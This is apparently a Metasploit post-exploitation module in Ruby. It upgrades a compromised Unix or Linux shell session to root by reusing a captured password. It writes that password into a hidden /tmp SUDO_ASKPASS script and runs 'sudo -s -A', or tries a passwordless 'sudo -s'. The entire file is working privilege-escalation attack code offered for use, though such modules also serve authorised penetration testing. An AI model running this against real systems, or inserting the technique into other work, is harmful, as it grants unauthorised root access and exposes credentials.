##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
        'Description' => %q{
          This module attempts to upgrade a shell account to UID 0 by reusing the
          given password and passing it to sudo. This technique relies on sudo
          versions from 2008 and later which support -A.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'todb <todb[at]metasploit.com>',
          'Ryan Baxendale <rbaxendale[at]gmail.com>' # added password option
        ],
        'Platform' => %w[aix linux osx solaris unix],
        'References' => [
          # Askpass first added March 2, 2008, looks like
          [ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
        ],
        'SessionTypes' => [ 'shell' ]
      )
    ) # Need to test 'meterpreter'

    register_options(
      [
        OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
      ]
    )
  end

  # Run Method for when run command is issued
  def run
    if session.type == 'meterpreter'
      fail_with(Failure::BadConfig, 'Meterpreter sessions cannot be elevated with sudo')
    end

    print_status('SUDO: Attempting to upgrade to UID 0 via sudo')
    sudo_bin = cmd_exec('which sudo')
    if is_root?
      print_status 'Already root, so no need to upgrade permissions. Aborting.'
      return
    end
    if sudo_bin.empty?
      print_error 'No sudo binary available. Aborting.'
      return
    end
    get_root
  end

  def get_root
    password = datastore['PASSWORD'] || session.exploit_datastore['PASSWORD']

    if password.to_s.empty?
      print_status 'No password available, trying a passwordless sudo.'
    else
      print_status "Sudoing with password `#{password}'."
    end
    askpass_sudo(password)
    if is_root?
      print_good 'SUDO: Root shell secured.'
      report_note(
        host: session,
        type: 'host.escalation',
        data: "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
      )
    else
      print_error "SUDO: Didn't work out, still a mere user."
    end
  end

  # TODO: test on more platforms
  def askpass_sudo(password)
    if password.to_s.empty?
      begin
        ::Timeout.timeout(30) do
          cmd_exec('sudo -s')
        end
      rescue ::Timeout::Error
        print_error 'SUDO: Passwordless sudo timed out. Might be blocking.'
      rescue StandardError
        print_error 'SUDO: Passwordless sudo failed. Check the session log.'
      end
    else
      askpass_sh = '/tmp/.' + Rex::Text.rand_text_alpha(7)
      begin
        # Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
        # Generally will be much snappier over ssh.
        # Need to timeout in case there's a blocking prompt after all
        ::Timeout.timeout(120) do
          # Create the shell script that will pass the password to sudo
          vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
          write_file(askpass_sh, "#!/bin/sh\necho '#{password}'\n")
          register_file_for_cleanup(askpass_sh)
          vprint_status 'Setting executable bit.'
          cmd_exec("chmod +x #{askpass_sh}")
          vprint_status 'Setting environment variable.'

          # Bruteforce the set command. At least one should work.
          cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
          cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
          vprint_status 'Executing sudo -s -A'
          cmd_exec('sudo -s -A')
        end
      rescue ::Timeout::Error
        print_error 'SUDO: Sudo with a password timed out.'
      rescue StandardError
        print_error 'SUDO: Sudo with a password failed. Check the session log.'
      end
    end
  end
end